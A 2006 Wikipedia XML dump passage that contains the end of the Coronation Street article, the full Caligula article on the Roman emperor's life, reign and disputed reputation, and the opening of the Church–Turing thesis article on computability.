In 1990, as a celebration for the serial's 30th anniversary, ten video tapes were released, each featuring four episodes from a specific year, introduced by someone who was close to the stories that year. (For example, Betty Turpin's husband Cyril died in 1974, therefore Betty Driver hosted the 1974 tape). These tapes were distributed by Granada Video for viewing in the UK. Also, many VHS tapes were made in the 1990s for the British market, from mail-order company [[Time-Life]] Distribution, with each tape consisting of edits for a particular character (for example, edits for Gail, or Rita, or the Duckworths). As they were made in [[PAL]] format, they were not distributed in the United States or Canada. 

In 2003, a special DVD set called ''This is Coronation Street'' was released on Region 1 DVD. On the two-disc set is the ''40 Years on Coronation Street'' one-off special as well as the first five episodes of the programme. In 2004, a ''Coronation Street: Secrets'' DVD box set of televised specials was released in both the [[United Kingdom]] and [[Canada]], but not in the [[United States]], despite a Region 1 release in Canada.

Granada  has also produced a number of [[straight-to-video]] spin-off productions, which were screened on television only after having been available in shops for some time, as an incentive to buyers. The first &quot;exclusive&quot; tape, released in 1995 featuring a storyline aboard the [[RMS_Queen_Elizabeth_2|QE2]], caused a legal controversy when it was later broadcast.  Subsequent releases have included carefully worded statements concerning future television broadcasting.

Further releases have included a crossover with ''[[Emmerdale]]'', and a [[United States]]-set special, ''Viva Las Vegas!'', released on [[VHS]] in 1999 and screened on ITV the following year. Written by [[Russell T. Davies]] (''[[Queer as Folk (UK)|Queer as Folk]]'', ''[[The Second Coming (TV)|The Second Coming]]'', ''[[Doctor Who#2005 revival|Doctor Who]]''),  the special featured a guest cameo from actor [[Neville Buswell]], who was then living in America, briefly reprising his role as Ray Langton.

In 2005, Network DVD released a box set of 10 DVDs, each featuring eight episodes from each year of 1970s. A matching box set dedicated to the 1980s was released in October.

==Trivia==
*The show's most famous fan is Queen Elizabeth II. Other famous fans include [[Prince Charles]], [[Ian McKellen]] (who have guested in the series), the late [[Laurence Olivier]] (who was supposed to have a guest appearance but scheduling problems got in the way), and numerous prime ministers. 
*''[[Frasier]]'' star [[Jane Leeves]] ([[Daphne Moon]]) once commented that the only downside of living in the United States was that she was unable to see ''Coronation Street''.
* Between 1989 and 1999, the [[Granada Studios Tour]] allowed members of the public the opportunity to take a stroll down the cobbles of Coronation Street. During this period, the &quot;set&quot; remained closed to the public on Mondays since this was the day when exterior scenes for the series were filmed.
*The first swear word heard on the soap was &quot;bloody&quot;, said by [[Ken Barlow]] in January 1961 following an argument with his mother Ida. The second swear word(s) heard was &quot;Oh God&quot;, again spoken by the same character when his wife Val died in 1971.
*In an episode of [[Peter Kay's Phoenix Nights]], [[wheelchair]]-bound [[Brian Potter]] is seen pushing himself down a [[Blackpool]] street. He passes a sign &quot;in memory of Alan&quot;, commemorating the time when the character Alan was killed by a Blackpool [[tram]].
*Only twice have any celebrities been allowed to play themselves on ''Coronation Street'': the first occasion was when HRH [[Prince Charles]] made an appearance on the show's 40th Anniversary episode (2000), and was seen shaking hands with character Audrey Roberts. The second occasion featured [[Francis Rossi]] and [[Rick Parfitt]] of the British [[rock band]] [[Status Quo (band)|Status Quo]] (the band itself also being a national institution). The band's drummer, [[Matt Letley]], also made a cameo in the episodes. (2005) Appearing in four episodes, Rossi and Parfitt call into the Rovers Return, and Rossi attacks character Les Battersby (who is played by actor [[Bruce Jones]], himself a massive fan of the group), as Battersby had previously caused him a grievous [[neck]] injury. The matter later gets resolved, and the band agree to play at Battersby's upcoming wedding.

==See also==
*[[Coronation Street cast]]
*[[Humour in Coronation Street]]
*[[Coronation Street timeline]]

==References==
===Print references===
*Collier, Katherine. ''Coronation Street: The Epic Novel''. London: Carlton, 2003. (ISBN 0233050973)
*Little, Daran. ''40 Years of Coronation Street''. London: Andre Deutsch Ltd, 2000. (ISBN 0233998063)
*Little, Daran. ''Who's Who on Coronation Street''. London: Andre Deutsch Ltd, 2002. (ISBN 0233999949)

===Video references===
*''This Is Coronation Street''. Dir. John Black. DVD. Acorn Media Publishing, 2003.
*''Coronation Street: Secrets''. Dir. John Black. DVD. Morningstar Entertainment, 2004.
*''Coronation Street: Early Days''. Video. Granada Media Group, 2001.

==Further reading==
*''Coronation Street: The War Years'', a fictional account of the Street during [[World War II]], written by [[Daran Little]] and British author [[Christine Green]]

==External links==
{{wikiquote}}
*[http://www.itv.com/page.asp?partid=91 Official website, from ITV]
*[http://www.tv-heaven.co.uk/forum Coronation st. spoilers and discussion]
*[http://www.corrie.net Corrie.net volunteers site]
*[http://www.cbc.ca/coronation/ Official Canadian site]
*[http://www.csvu.net Coronation Street Visual Updates (recaps for the UK, Canada, Australia and NZ)]
*[http://www.corrieweeklyupdates.btinternet.co.uk Coronation Street weekly updates from the UK]
*[http://www.museum.tv/archives/etv/C/htmlC/coronationst/coronationst.htm Encyclopedia of Television]
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  <page>
    <title>Caligula</title>
    <id>6852</id>
    <revision>
      <id>42149571</id>
      <timestamp>2006-03-04T03:37:45Z</timestamp>
      <contributor>
        <username>Pookster11</username>
        <id>640203</id>
      </contributor>
      <comment>Remoed Britain part; to my knowledge its debatable that Britain even was his target, unless you have a cite</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Caesar Caligula.jpg|thumb|300px|Caligula]]
[[Image:Gaius Caligula.jpg|right|frame]]
'''Gaius Julius Caesar Germanicus''' ([[August 31]], [[12]] &amp;ndash; [[January 24]], [[41]]), most commonly known as '''Caligula''', was the third [[Roman Emperor]] and a member of the [[Julio-Claudian dynasty]], ruling from [[37]] to [[41]]. Caligula represents a turning point in the early history of the Principate. Known for his extreme extravagance, [[Eccentricity (behavior)|eccentricity]], depravity  and cruelty, he is remembered as a [[despotism|despot]].  He was [[assassin]]ated in 41 by several of his own guards.

Unfortunately, Caligula's reign is the most poorly documented of the Julio-Claudian dynasty. The literary sources for these four years are meager, frequently anecdotal, and universally hostile. As a result, not only are many of the events of the reign unclear, but Caligula himself appears more as a [[caricature]] than a real person; a crazed [[Narcissistic personality disorder|megalomaniac]] given to capricious cruelty and hare-brained schemes. One popular tale is that Caligula appointed consul his favorite horse, [[Incitatus]]; the story, however, owes its unrelenting currency to its charm: it is based on a single misunderstood near-contemporary reference, in which Suetonius merely repeats an unattributed rumor that Caligula was thinking about doing it [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Caligula*.html (Suet. Cal.&amp;nbsp;55.3)]. Caligula is often accused of having [[incest]]uous relationships with his sisters, most notably his younger sister [[Drusilla]], but there is no credible evidence to support such claims either.

==Early Life==
Caligula was born as Gaius Julius Caesar Germanicus on [[August 31]], [[12]], at the resort of [[Antium]] (modern [[Anzio]]), the third of six surviving (of nine) children born to [[Caesar Augustus|Augustus]]’s adopted grandson, [[Germanicus]], and Augustus’s granddaughter, [[Agrippina the Elder]]. Germanicus was son to [[Nero Claudius Drusus]] and [[Antonia Minor]].  He was an older brother to [[Claudius]]. Agrippina was daughter to [[Marcus Vipsanius Agrippa]] and [[Julia Caesaris]]. They had four other sons (Tiberius and Gaius Julius, who died young; [[Nero Caesar|Nero]], [[Drusus Caesar|Drusus]]), and three daughters ([[Julia Livilla]], [[Drusilla]] and [[Agrippina the younger]]). See [[Julio-Claudian Family Tree]].

Gaius' life started out promisingly, as he was the son of extremely famous parents. Germanicus was a grandson to [[Tiberius Nero]] of the [[Claudius (gens) | gens Claudia]] and [[Livia]] as well as an adoptive grandson of [[Roman Emperor]] [[Caesar Augustus]] of the [[Julius | gens Julia]]. He was thus a prominent member of the [[Julio-Claudian dynasty]] and was revered as the most beloved general of the [[Roman Empire]]. Agrippina was herself a granddaughter of Caesar Augustus and [[Scribonia]]. She was considered a model of the perfect Roman woman.

[[Image:Caligae from side.jpg|thumb|A caliga]]
As a baby of just two or three, he accompanied his parents on military campaigns in the north of [[Germania]] and became the mascot of his father's army. The soldiers were amused whenever Agrippina would put a miniature soldier costume on young Gaius, and he was soon given his nickname &quot;'''Caligula'''&quot; (or ''Caligulae''), meaning &quot;Little (Soldier's) boots&quot; in [[Latin]], after the small boots he wore as part of his costume. (&quot;Caligula&quot; is formed from the Latin word ''caliga'', meaning soldier's boot, and the [[diminutive]] [[infix]] ''-ul''.) He would end up hating this name, but he also hated the name &quot;Gaius&quot;.  

Caligula’s childhood was not a happy one, spent amid an atmosphere of paranoia, suspicion, and murder. Instability within the [[Julio-Claudian dynasty]], generated by uncertainty over the succession, led to a series of personal tragedies. When his father died under suspicious circumstances on [[October 10]], [[19]], relations between his mother and his grand-uncle, the reigning emperor [[Tiberius]], deteriorated irretrievably, and the adolescent Caligula was sent to live first with his great-grandmother [[Livia]] in [[27]] and then, following Livia's death two years later, with his grandmother Antonia. Neither Livia nor Antonia had much time to watch Caligula, so the only comfort he had was with his three sisters. Stories of Caligula engaging in incest with his sisters ([[Agrippina the Younger]], [[Drusilla]], and [[Julia Livilla]]) began around this time. [[Suetonius]] in particular writes much about these acts.

Caligula's life was in constant danger. Tiberius's [[Praetorian Prefect]], [[Sejanus]], was extremely powerful, doing everything he could to gain power over Tiberius. This wasn't too difficult, as Sejanus had control of Rome while Tiberius retired to the island of [[Capri]]. Treason trials were commonly practiced, as Tiberius in his old age was growing increasingly paranoid and began to rely increasingly upon his friend [[Sejanus]], who once saved his life. These trials were the main lever [[Sejanus]] used to strengthen his position and dispose of any opposition. 

From a very early age Caligula learned to tread very carefully. According to both [[Tacitus]] and Suetonius, he surpassed his brothers in intelligence, and was an excellent natural actor, realizing the danger when other members of his family could not. Caligula survived when most of the other potential candidates to the throne were destroyed. His mother Agrippina was banished to the tiny island of [[Pandataria]], where she starved herself to death. His two oldest brothers, Nero and Drusus, also died. Nero was banished to the island of [[Ponza]], while Drusus' body was found locked in a dungeon with stuffing from his mattress in his mouth to keep off the hunger pangs.

Shortly before the fall of Tiberius’s [[Praetorian Prefect]], [[Sejanus]], in [[31]], Caligula was summoned to join Tiberius at his villa on [[Capri]], where he remained until his accession in [[37]]. By this time, Caligula was already in favor with Tiberius. He was summoned to [[Capri]] to stay with Tiberius on one of the many villas on the island. [[Suetonius]] writes of extreme perversions happening on Capri, as Tiberius was without the people who managed to keep him in line (Augustus, Livia, his brother Drusus, and his best friend Nerva), so he felt free to indulge in any perversion he desired. Whether this is true or not is hard to say. Unpopular Emperors such as Tiberius and Caligula may not have had the whole truth written about them, and gossip is common throughout ancient texts.

Suetonius writes of Caligula's servile nature towards Tiberius, and his indifferent nature towards his dead mother and brothers. By his own account, Caligula mentioned years later that this servility was a sham in order to stay alive, and on more than one occasion he very nearly killed Tiberius when his anger overwhelmed him. An observer said of Caligula:  &quot;Never was there a better servant or a worse master!&quot;  Caligula proved to have a flair for administration and won further favor with the ailing Tiberius by carrying out many of his duties for him. At night, Caligula would inflict torture on slaves and watch bloody gladiatorial games with glee. In [[33]], Tiberius gave Caligula the position of honorary [[quaestor]]ship, the only form of public service Caligula would hold until his reign.

==Early Reign==
[[Image:Caligula bust.jpg|right|thumb|200px|Caligula]]
When Tiberius died on [[March 16]], [[37]], Caligula was in a perfect position to assume power, despite the obstacle of Tiberius’s will, which named him and his cousin [[Tiberius Gemellus]] joint heirs. (Gemellus's life was shortened considerably by this bequest, since Caligula ordered him killed within a matter of months.) Suetonius writes that the Prefect of the Praetorian Guard [[Naevius Sutorius Macro]] smothered Tiberius with a pillow to hasten Caligula's accession. Backed by Macro, Caligula asserted his dominance. He had Tiberius’s will with regards to Tiberius Gemellus declared null and void on grounds of insanity, but otherwise carried out Tiberius' wishes. Caligula accepted the powers of the [[Principate]] as conferred by the [[Roman Senate|Senate]], and entered Rome on [[March 28]] amid scenes of wild rejoicing. 

His first acts were generous in spirit: he gave cash bonuses to the [[Praetorian Guard]]s, destroyed Tiberius's treason papers, declared that [[treason]] trials were a thing of the past, recalled exiles, and helped those who had been harmed by the Imperial [[tax]] system. He was loved by many simply by being the beloved son of the popular Germanicus. Moreover, he was, unlike Tiberius, a direct blood descendant of Augustus, and therefore related to [[Julius Caesar]]. He was also a great-grandson of [[Mark Antony]].

On becoming Emperor, Caligula performed a spectacular stunt. He ordered a temporary [[Pontoon bridge|floating bridge]] to be built using ships as [[pontoon]]s, stretching for over two miles from the resort of [[Baiae]] to the neighboring port of [[Puteoli]]. He then proceeded to ride [[Incitatus]] across, wearing the breastplate of [[Alexander the Great]]. This act was in defiance of an [[astrologer]]'s prediction that he had &quot;no more chance of becoming Emperor than of riding a horse across the Gulf of Baiae&quot;.

However, following this auspicious start to his reign, Caligula fell seriously ill in October of [[37]], and, as Scullard remarks, &quot;emerged as a monster of lust and diabolical cruelty&quot;.

There is some debate as to the chronology here.  Many authors, including Michael Grant (''The Twelve Caesars'', 1975) and Donna W. Hurley (''An Historical and Historiographical Commentary on Suetonius' &quot;Life of C. Caligula&quot;'', 1993), state that the real break between Caligula and the Senate, and thereafter his extravagant behaviour, did not occur until 39.  Though the exact cause of the argument between the young Caesar and the Senate is unclear,  what sources remain seem to indicate that the Emperor had demanded a triumph and had been refused by the Senate.  What is clear is that in 39 Caligula removed and replaced the Consuls without consulting the Senate, and publicly humilated several Senators by forcing them to run alongside his chariot in their full robes.  It is from this point on that there is a marked change in the biography of his life; the young man previously hailed as &quot;our star&quot; and &quot;our baby&quot; by the Roman people became a despotic tyrant.

==Caligula and the Empire==
Gaius's reign is too short, and the surviving ancient accounts too sensationalized, for any serious policies of his to be discerned. During his reign, [[Mauretania]] was annexed and reorganized into two provinces, [[Herod Agrippa]] was appointed to a kingdom in [[Judaea]], and severe riots took place in [[Alexandria]] between [[Jews]] and [[Greek people|Greek]]s. These events are largely overlooked in the sources, which instead tend to focus on sensational stories of the Emperor's madness. 

Two other episodes, however, garner greater attention: Caligula's military activities on the northern frontier; and his vehement demand for divine honors. His military activities are portrayed as ludicrous, with [[Gaul]]s dressed up as Germans at his triumph and Roman troops ordered to collect sea-shells as &quot;spoils of the sea&quot;.  Modern scholars have attempted to make sense of these events in various ways. The most reasonable suggestion is that Caligula went north to earn military glory and discovered there a nascent conspiracy under the commander of the [[Germania Superior]] legions, Gnaeus Lentulus Gaetulicus.  Once again, however, due to the lack of sources, what precisely occurred and why is a matter of debate even among the primary sources for Caligula's reign.

Caligula's religious policy was a firm departure from the policy of his predecessors.  Under Augustus, the Cult of the Deified Emperor had been established and promoted, especially in the western empire, and was generally the first organization established in any new Roman colony.  Augustus proclaimed on multiple occasions that he was not himself personally divine; instead the Cult centered around his ''numen'', his personal spirit, and ''gens'', the collective spirit of his family and ancestors.  After Augustus, Tiberius seems to have had little interest in the Cult, and its promulgation and expansion seems to have been on a local level and driven by local magistrates, rather than from a central organizational structure.  Caligula expanded this Cult on an unprecedented scale.  The temple of Castor and Pollux on the Forum was linked directly to the Imperial residence on the Palatine and dedicated to Caligula himself; he would appear here on occasions, dressed and presenting himself as a god, and demanding that those in his presence adopt sycophantic methods of acknowledging him.  The nature of the Cult of the Deified Emperor changed from honoring the spirits around the Emperor to direct worship of Caligula himself.  Likewise, Caligula's policies affected religious practice in the whole of the Empire, not just those practices associated with the Cult.  The heads of the statues of many of the gods throughout Rome and the empire were replaced with Caligula's head, including many of the female statues, and Caligula demanded that he be worshipped as an embodiment of these gods, similar to the Hellenistic ruler-cults.  A plan to place a statue of himself as [[Zeus]] in the [[Holy of Holies]] in the Jewish Temple in Jerusalem was stopped only because of the delaying tactics of the [[Syria]]n [[Roman Governor|governor]], Publius Petronius, as well as the intervention of [[Herod Agrippa]]. Without their intervention, Rome would have faced riots and a potential uprising in Judea.

== Downward Spiral ==

The ancient sources are unanimous as to the cause of Caligula's downfall: he was insane. The writers differ as to how this condition came about, but all agree that after his good start Caligula began to behave in an openly autocratic manner, even a crazed one. Outlandish stories cluster about the raving emperor, illustrating his excessive cruelty, multiple and peculiar sexual escapades (both heterosexual and homosexual, at least as claimed by the near-contemporary Suetonius, [http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Caligula*.html#36 Cal.&amp;nbsp;36]), or disrespect toward tradition and the Senate. 

The sources describe his [[incest]]uous relations with his sisters, his selling to the highest bidder of the wives of high ranking Senate members during sexual orgies, his laughable military campaigns in the north, the plan to make [[Incitatus]] a [[consul]], and his habit of roaming the halls of his palace at night ordering the sun to rise. 

He comes across as aloof, arrogant, egotistical, and cuttingly witty, and is generally portrayed as insane. He is said to have cried &quot;I wish the Roman people had but a single neck&quot; when an arena crowd applauded a faction he opposed. [[Suetonius]] wrote that he often uttered &quot;Let them hate, so long as they fear&quot;, and described this as a familiar line of the tragic poet ([[Accius]]); however, Suetonius also attributes the utterance of this line to [[Tiberius]] and [[Nero]] in sections describing their faults as rulers. Whatever else may be said about Caligula and his reign, it is known that his rule was short and tumultuous, and that after his death there were few who mourned his passing.

==Assassination==
Caligula was murdered following a [[conspiracy]] amongst officers of the [[Praetorian Guard]], who apparently acted for purely personal reasons. However, it appears that the officers had at least the support of some senators and an imperial freedman. As with conspiracies in general, the plot may have been more extensive than the sources indicate, and may even have enjoyed the support of the next emperor [[Claudius]], but there is little if any evidence to support such claims.

What is known is that on [[January 24]], [[41]], the praetorian tribune [[Cassius Chaerea]] and other guardsmen accosted Caligula while he was addressing an acting troupe of young men during a series of games held for the Divine Augustus. Chaerea had a distinguished record as one of Germanicus's best officers and had known Caligula since infancy. One possible motive provided by Suetonius is that Chaerea had experienced years of abuse by Caligula over his so-called effeminacy, possibly due to a wound to his genitalia; Suetonius records that Caligula commonly gave the watchwords &quot;Priapus&quot; (erection) or &quot;Venus&quot; (Roman slang for a eunuch) when Chaerea was on duty. Chaerea requested the watchword from the Emperor, and after Caligula's response struck the first blow.  The co-conspirators quickly moved in and stabbed the Emperor to death, according to Josephus's account only a few feet away from his guard and entourage.  By the time Caligula's German guard responded and attacked the co-conspirators, the Emperor was already dead.  Chaerea and another aggrieved tribune, Cornelius Sabinus, also killed Caligula's wife [[Caesonia]] and their infant daughter, [[Julia Drusilla]], by smashing her head against a wall.

==Caligula’s Insanity==
Recent sources say that Caligula probably had [[encephalitis]]. Ancient sources, like  Roman biographers [[Suetonius]] and [[Cassius Dio]], describe Caligula having a &quot;brain fever.&quot; [[Philo of Alexandria]] reports it was nothing more than a nervous breakdown, as Caligula was not used to the pressures of constant attention after being out of the public eye for most of his life. Rome waited in horror, praying that their beloved Emperor would recover. He became better, but his reign took a sharp turn. The death of Gemellus and of Silanus, Caligula's father-in-law, took place right after Caligula recovered.

The question of whether or not Caligula was insane remains unanswered.  [[Philo]], author of ''Legatio ad Caium'' (&quot;embassy to Caius&quot;) and leader of a delegation sent to Caligula to seek relief from persecution by Alexandrian [[Greece|Greeks]], claimed that the emperor was no more than a vicious jokester.  Based on the contemporary reports of his behavior, modern psychology would likely diagnose Caligula as [[delusional disorder|delusional]], and possibly suffering from [[antisocial personality disorder]] as a result of his traumatic upbringing.  

However, given Caligula's unpopularity as emperor, it is difficult to separate fact from fiction.  There are many famous stories attesting to his bizarre behavior as emperor: that he tried to make his beloved stallion, [[Incitatus]], a consul, though this could have been a political statement indicating that he felt his horse was as well qualified for the position as any of the incumbents. Other stories claim that there existed [[incest]]uous relationship between Caligula and his sisters (particularly [[Drusilla]]), a brothel he set up at the palace featuring the wives of prominent senators, his abandonment of a campaign in [[Britain]] that instead resulted in his soldiers collecting [[seashell]]s as &quot;spoils of the sea&quot; in his battle with the sea god [[Neptune (god)|Neptune]], wanting to erect a statue of himself in [[Jerusalem]] (his good friend [[Herod Agrippa]] stopped it), his amusement with shutting down the granaries and starving the citizens, his hobby of watching executions as he ate, and labeling himself a &quot;god&quot;. According to [[Suetonius]] he &quot;often sent for men whom he had secretly killed, as though they were still alive, and remark off-handedly a few days later that they must have committed suicide.&quot;  Regardless of the validity of any of these anecdotes, historians tend to agree on one fact: he was extremely unqualified and unprepared to be Emperor.

==Alternate Views==
The lack of a full accounting of Caligula's reign, and the hyperbolic nature of the records that do remain, creates several problems for historical analysis.  It must be noted that, except for Philo's &quot;Embassy to Caius&quot; and mention by Josephus' &quot;Antiquities of the Jews&quot;, Chapters 6 through 8,&quot; all historical writings regarding Caligula are authored by Romans of Senatorial rank; a class of individuals whose power had been severely checked by the growth of the Principate.  Additionally, in Roman politics sexual perversity was often presented hand in hand with poor government; Suetonius accuses Augustus, Tiberius, Caligula, and Nero all of sexually perverse behaviour, and also heavily criticizes many of the administrative aspects of these Emperor's rules.  Therefore, much of what is recorded about Caligula, especially that coming from Suetonius, must be taken &quot;with a grain of salt&quot;.

It is known that in [[39]] there was a political break between Caligula and the Senate, and it is from this point forward that Caligula's reign takes on a decidedly despotic tone.  The purges of Tiberius had removed from the Senate some of the staunchest supporters of the Julian line, of which Caligula was a prominent member.  Caligula was thus presented with a Senate that, at best, offered half-hearted support.  Additionally, the absence of Tiberius for much of his reign meant that the Senate, previously docile after almost 50 years under Augustus, had been forced to take up much of the administrative apparatus of the Empire once again.  Caligula was thus faced with an uncooperative Senate that was once again beginning to rule the Empire as it had before Caesar and Augustus.

The position of the Princeps was an elaborate facade that required the most powerful man in Rome to act as if he were nothing more than a concerned citizen and magistrate under the Senate's supervision.  Caligula, faced with an uncooperative Senate, seems to have quickly tired of this facade and decided to act indiscriminantly with the powers given to him as Princeps.  The vast financial reserves that Tiberius had left behind were quickly spent and the imperial treasury emptied by the end of Caligula's brief reign.  Caligula's reign saw the expansion of the imperial court and imperial palace into the Forum itself.  Imperial duties and responsibilities that Tiberius had returned to the Senate were reclaimed as rights of the Princeps, and the powers of the Senate were further restricted.  Perhaps modeling his rule after the Hellenistic monarchs, Caligula sought to make himself the center of all religious activity, as has been noted above.

In essence, Caligula sought to take the Principate to its next logical step: a divine monarchy.  However, the complexities of Roman society and Roman politics demanded that the facade of the &quot;first-citizen&quot; be continued.  Suetonius compares Caligula to Julius Caesar; in the mind of the Roman Senate, the delicately balanced Principate had become little more than the tyranny it had rid itself of a century before.  Thus, much of the sensational accusations leveled at Caligula could be viewed as politically motivated attacks against his character and his memory.  It must be kept in mind that the records that we have today of Caligula were all written by his political opponents, and those most damaged by his attempt to enforce his absolute authority.

==Legacy==
Regardless of whether Caligula is viewed as an insane monarch or simply a misguided politician, the conclusion remains the same.  Whatever damage [[Tiberius]]’s later years had done to the carefully crafted political edifice created by [[Caesar Augustus|Augustus]], Caligula multiplied it a hundred-fold. When he came to power in 37, Caligula had no administrative experience beyond his honorary quaestorship, and had spent an unhappy early life far from the public eye. He appears, once in power, to have realized the boundless scope of his authority and acted accordingly. For the elite, this situation proved intolerable and ensured the blackening of Caligula's name in the historical record they would dictate. The sensational and hostile nature of that record, however, should in no way trivialize Caligula's importance. His reign highlighted an inherent weakness in Augustus’s [[Principate]], now openly revealed for what it was -- a raw [[monarchy]] in which only the self-discipline of the incumbent acted as a restraint on his behavior rather than the &quot;first among equals&quot; Augustus had intended. That the only means of retiring the wayward Princeps was murder marked another important revelation: Roman emperors could not relinquish their powers without simultaneously relinquishing their lives. Caligula would be the first of many emperors to be executed in the years to come.


==Bibliography==
* ''Caligula: the corruption of power'' by Anthony A. Barrett (Batsford 1989) ISBN 0713454873
*[[Ludwig Quidde]]'s essay ''Caligula. Eine Studie über römischen Caesarenwahnsinn'' (''Caligula: A Study of Imperial Insanity'') ([[1894]]), in which Caligula is likened to the [[Germany|German]] [[Emperor]] [[Wilhelm II of Germany|Wilhelm II]].
* '''''Caligula''''' is the title of a play by [[Albert Camus]], which was the basis for a 1996 Hungarian movie and the 2001 made for TV version.
* '''''[[Caligula (film)]]''''' is also a controversial [[1979]] [[film|movie]] starring [[Malcolm McDowell]], [[Teresa Ann Savoy]], [[Helen Mirren]], and [[Peter O'Toole]].
* Actor Jay Robinson played Caligula in ''[[The Robe]]'' [[1953]] and its sequel ''[[Demetrius and the Gladiators]]'' [[1954]]. ''See'' [[Caligula (film)]]
* [[John Hurt]] played Caligula in the TV adaptation of [[Robert Graves]]'s book ''[[I, Claudius]]''.
* Grant, Michael, ''The Twelve Caesars''.  New York: Charles Scribner's Sons.  1975
* Hurley, Donna W., ''An Historical and Historiographical Commentary on Suetonius' &quot;Life of C. Caligula&quot;''.  Atlanta, Geogia: Scholars Press.  1993.

===Primary Sources===
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Suetonius/12Caesars/Caligula*.html Life of Caligula] (Suetonius; English translation and Latin original)
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Cassius_Dio/59*.html Cassius Dio, Book&amp;nbsp;59] (English translation)

===Secondary Material===
*[http://www.roman-emperors.org/gaius.htm Biography from De Imperatoribus Romanis]
*[http://www.straightdope.com/mailbag/mcaligula.html Straight Dope article]
*[http://www.romansonline.com/Persns.asp?IntID=3&amp;Ename=Caligula Caligula]
*[http://www.vroma.org/~bmcmanus/caligula.html A chronological account of his reign]
*[http://www.geocities.com/Athens/Parthenon/7094/cal4.html A critical account of a number of his reported activities]
*[http://www.caligulathemovie.com/family1.html His genealogical tree]



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{{succession box|title=[[List of Roman Emperors|Roman Emperor]]|before=[[Tiberius]]|after=[[Claudius]]|years=37&amp;ndash;41}}
{{succession box|title=[[Julio-Claudian Dynasty]]|before=[[Tiberius]]|after=[[Claudius]]|years=37&amp;ndash;41}}
{{end box}}

[[Category:12 births]]
[[Category:41 deaths]]
[[Category:Julio-Claudian Dynasty]]
[[Category:Lesbian, gay, bisexual, or transgender people]]
[[Category:Murderers]]
[[Category:Roman emperors murdered by the Praetorian Guard]]

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    </revision>
  </page>
  <page>
    <title>Church–Turing thesis</title>
    <id>6854</id>
    <revision>
      <id>42109057</id>
      <timestamp>2006-03-03T22:00:29Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">In [[Computability theory (computation) | computability theory]] the '''Church–Turing thesis''', '''Church's thesis''', '''Church's conjecture''' or '''Turing's thesis''', named after [[Alonzo Church]] and [[Alan Turing]], is a [[hypothesis]] about the nature of mechanical calculation devices, such as electronic computers.
The thesis claims that any calculation that is possible can be performed by an [[algorithm]] running on a computer, provided that sufficient time and storage space are available.

It is generally assumed that an algorithm must satisfy the following requirements:
#The algorithm consists of a finite set of simple and precise instructions that are described with a finite number of symbols.
#The algorithm will always produce the result in a finite number of steps.
#The algorithm can in principle be carried out by a human being with only paper and pencil.
#The execution of the algorithm requires no intelligence of the human being except that which is needed to understand and execute the instructions.
The [[Euclidean algorithm]] for determining the [[greatest common divisor]] of two [[natural number]]s is an example of such an algorithm.

This description of algorithm is intuitively clear but lacks formal rigor, since it is not exactly clear what a &quot;simple and precise instruction&quot; is, and what exactly the &quot;required intelligence to execute these instructions&quot; is. (See, for example, [[effective results in number theory]] for cases well beyond the Euclidean algorithm.)

Informally the thesis states that our notion of algorithm can be made precise (in the form of [[computable function]]s) and computers can run those algorithms. Furthermore, a computer can theoretically run any algorithm; that is, all ordinary computers (read: Turing machine) are equivalent to each other in terms of theoretical computational power, and it is not possible to build a calculation device that is more powerful than a computer.  (Note that this formulation of power disregards practical factors such as speed or memory capacity; it considers all that is theoretically possible, given unlimited time and memory.)

The thesis may be regarded as a [[physical law]] or as a definition, as it has not been mathematically proven. Stephen Kleene considered it a definition (Kleene in Undecidable, p. 274). See History Section below.  

==Church–Turing thesis==
The thesis can be stated as:

:''&quot;Every '[[function (mathematics)|function]] which would naturally be regarded as [[computable function|computable]]' can be computed by a [[Turing machine]].&quot;''

Due to the vagueness of the concept of a &quot;function which would naturally be regarded as computable&quot;, the thesis cannot formally be proven.  Disproof would be possible only if humanity found ways of building [[hypercomputer]]s whose results should &quot;naturally be regarded as computable&quot;.

Any computer program can be translated into a Turing machine, and any Turing machine can be translated into any general-purpose [[programming language]], so the thesis is equivalent to saying that any general-purpose programming language is sufficient to express any algorithm.

Various variations of the thesis exist; for example, the Physical Church–Turing thesis (PCTT) states:

:''&quot;Every function that can be physically computed can be computed by a Turing machine.&quot;''

This stronger statement may have been proven false in [[2002]] when [[Willem Fouché]] discovered that a Turing machine probably cannot effectively approximate any of the values of one-dimensional [[Brownian motion]] at rational points in time (with respect to [[Wiener measure]]; see reference below).

Another variation is the Strong Church–Turing thesis (SCTT), which states (cf. Bernstein, Vazirani 1997):

:''&quot;Any 'reasonable' model of computation can be efficiently simulated on a probabilistic Turing machine.&quot;''

Current evidence suggests that the statement is false, since [[Peter Shor]] showed that the [[Prime_factorization | prime factorization problem]] can be efficiently solved by a [[quantum computer]], while it is generally believed that the problem cannot be solved efficiently on a probabilistic Turing machine.

==History==
In his 1943 paper ''Recursive Predicates and Quantifiers'' (reprinted in ''The Undecidable'', p. 255) [[Stephen Kleene]] first proposed his &quot;THESIS I&quot;:
&quot;This heuristic fact [general recursive functions are effectively calculable]...led Church to state the following thesis (Kleene's footnote 22). The same thesis is implicit in Turing's description of computing machines (Kleene's footnote 23).
::&quot;THESIS I. ''Every effectively calculable function (effectively decidable predicate) is general recursive'' [Kleene's italics]
&quot;Since a precise mathematical definition of the term effectively calculable (effectively decidable) has been wanting, we can take this thesis ... as a definition of it...&quot; (Kleene in Undecidable, p. 274)
Kleene's footnote 22 references the paper by [[Alonzo Church]] and his footnote 23 references the paper by [[Alan Turing]].

